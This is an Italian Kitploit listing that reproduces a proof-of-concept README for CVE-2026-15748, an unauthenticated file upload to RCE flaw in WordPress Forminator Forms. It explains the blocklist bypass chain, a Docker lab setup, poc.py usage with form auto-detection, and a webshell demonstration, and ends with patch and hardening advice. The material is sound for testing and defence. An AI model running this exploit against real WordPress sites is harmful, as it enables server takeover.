Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-15748 — RCE non autenticata in WordPress Forminator Forms <= 1.56.1 (CVSS 9.8) | Kitploit
Strumenti/GitHubGitHub/0x4cr/cve-2026-15748
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo PayloadTrojan di Accesso RemotoLab e Pratica
GitHub0x4cr/cve-2026-15748

CVE-2026-15748

RCE non autenticata in WordPress Forminator Forms <= 1.56.1 (CVSS 9.8)

1 mese faNon ancora revisionato
Vedi Repository
Condividi

CVE-2026-15748 — RCE non autenticata in Forminator Forms

Caricamento arbitrario di file non autenticato tramite configurazione contraffatta del campo di caricamento

CampoDettaglio
ID CVECVE-2026-15748
CVSS9.8 (Critico)
CWECWE-434 — Caricamento non limitato di file di tipo pericoloso
AffettoForminator Forms <= 1.56.1
Corretto in1.56.2
Autenticazione richiestaNessuna
Scoperto dadaroo

Riepilogo

Forminator Forms per WordPress (oltre 600.000 installazioni attive) contiene una vulnerabilità di caricamento arbitrario di file non autenticato che porta all'esecuzione di codice da remoto (RCE).

La vulnerabilità concatena due difetti:

  1. Iniezione della chiave return (front-action.php): la funzione set_field_data() verifica se $field_data['return'] è truthy prima di rimuoverlo. Un attaccante invia dati POST annidati per un campo Select con return=1, field_type=upload e un field_array appositamente costruito. La voce viene aggiunta direttamente a field_data_array senza validazione, e process_uploads() la elabora come un campo di caricamento legittimo.

  2. Bypass della blocklist (upload.php + helper-fields.php): la proprietà del campo additional-type accetta ph(p)|text/x-php. get_additional_file_mime_types() divide su | per produrre ['ph(p)' => 'text/x-php']. La blocklist delle estensioni usa in_array('ph(p)', $filters, true) che non corrisponde a 'php'. wp_check_filetype() di WordPress usa ph(p) come pattern regex che corrisponde a .php. Il tipo MIME text/x-php viene iniettato nel filtro upload_mimes di WordPress, soddisfacendo wp_check_filetype_and_ext().

Patch in 1.56.2:

  • front-action.php: aggiunge unset($field_data['return']) prima del controllo truthy
  • helper-fields.php: normalizza le chiavi della blocklist con preg_replace('/[^a-z0-9]/', '', $alternative) così che ph(p) diventi php e venga bloccato

Catena di sfruttamento

1. POST nested array data for Select field with return=1
                          |
2. set_field_data() skips validation via early-return path
                          |
3. Forged entry injected into field_data_array with field_type=upload
                          |
4. process_uploads() processes it as a legitimate upload field
                          |
5. additional-type=ph(p)|text/x-php bypasses blocklist + MIME check
                          |
6. move_uploaded_file() saves .php to uploads directory
                          |
7. Attacker accesses uploaded file --> RCE

Precondizioni

  • Il form di destinazione deve avere sia un campo File Upload che un campo Select
  • La directory degli upload non deve bloccare l'esecuzione di PHP — questo è il caso su:
    • server nginx (.htaccess viene completamente ignorato)
    • Apache con AllowOverride None (.htaccess viene ignorato)
    • qualsiasi server in cui il file .htaccess di Forminator è stato rimosso o sovrascritto

Proof of Concept

Passo 1 — Ambiente di laboratorio

Avviare il laboratorio Docker:

git clone https://github.com/str1ke2pwn/CVE-2026-15748.git
cd CVE-2026-15748
docker-compose up -d

Container Docker in esecuzione

Passaggio 2 — Installazione di WordPress

Apri http://localhost:8080 e completa la configurazione di WordPress.

Installazione di WordPress

Passaggio 3 — Installazione del plugin Forminator

Vai su Plugin > Aggiungi nuovo > Carica plugin e installa Forminator v1.56.0.

Nota: Se ricevi un errore come "Il link che hai seguito è scaduto" durante il caricamento del plugin, il limite di upload PHP è troppo basso. Risolvilo con:

docker-compose exec wordpress bash -c 'echo "upload_max_filesize=64M
post_max_size=64M" > /usr/local/etc/php/conf.d/uploads.ini'
docker-compose restart wordpress

Poi prova a caricare nuovamente il plugin.

Plugin Forminator attivo

Passaggio 4 — Creazione del form vulnerabile

Vai su Forminator > Forms > Create e aggiungi:

  • Un campo File Upload
  • Un campo Select (con almeno un'opzione)

Salva il form, poi crea una nuova Pagina con lo shortcode [forminator_form id="XX"] e pubblicala.

Editor del form con entrambi i campi

Form pubblicato sul frontend

Passaggio 5 — Configurazione di Apache per simulare nginx

Forminator inserisce un file .htaccess nella sua directory di upload che blocca l'esecuzione di PHP. Sui server nginx (che ignorano .htaccess), questa protezione non esiste. Per simulare questa condizione nel nostro laboratorio basato su Apache:

docker-compose exec wordpress bash -c 'cat > /etc/apache2/conf-enabled/forminator-lab.conf << "CONF"
<Directory /var/www/html/wp-content/uploads/forminator>
    AllowOverride None
    Options +Indexes
    DirectoryIndex disabled
</Directory>
CONF
apache2ctl graceful'

Configurazione di Apache

Passaggio 6 — Eseguire l'exploit

pip install -r requirements.txt
python poc.py --url http://localhost:8080 --page-url http://localhost:8080/?page_id=YOUR_PAGE_ID

Esecuzione PoC — RCE confermata

Passo 7 — Verifica dell'esecuzione del codice

Apri l'URL dall'output del PoC in un browser. La pagina mostra CVE-2026-15748-PoC-Verified seguito dall'output di phpinfo(), confermando l'esecuzione di codice PHP sul server.

Output di phpinfo() nel browser

Passo 8 — Dimostrazione dell'impatto (Webshell)

Per dimostrare l'impatto completo dell'RCE, modifica SAFE_PAYLOAD in poc.py per includere l'esecuzione di comandi, riesegui e accedi all'URL con ?cmd=whoami:

whoami che mostra www-data

id che mostra uid/gid

Passo 9 — Evidenza su disco

Il file PHP caricato è individuabile nel filesystem del server:

docker-compose exec wordpress find /var/www/html/wp-content/uploads -name '*.php' | grep poc-test

File su disco


Utilizzo

pip install requests
# Auto-detect forms and exploit
python poc.py --url http://localhost:8080

# Specify form page directly
python poc.py --url http://localhost:8080 --page-url http://localhost:8080/contact/

# Specify form ID
python poc.py --url http://localhost:8080 --form-id 1234

# Verify only (check if file already uploaded)
python poc.py --url http://localhost:8080 --verify-only

# Cleanup after test
python poc.py --url http://localhost:8080 --cleanup

Remediation

  • Aggiorna Forminator alla versione 1.56.2 o successiva
  • Blocca l'esecuzione di PHP nelle directory di upload (per Apache):
    <FilesMatch "\.php$">
        Deny from all
    </FilesMatch>
    
  • Per nginx, aggiungi al blocco server:
    location ~* /wp-content/uploads/.*\.php$ {
        deny all;
    }
    
  • Verifica wp-content/uploads/forminator/ per file .php inattesi

Smantellamento

Per arrestare e rimuovere l'ambiente di laboratorio:

docker-compose down -v

Riferimenti

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Nessun dato di popolarità ancora.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →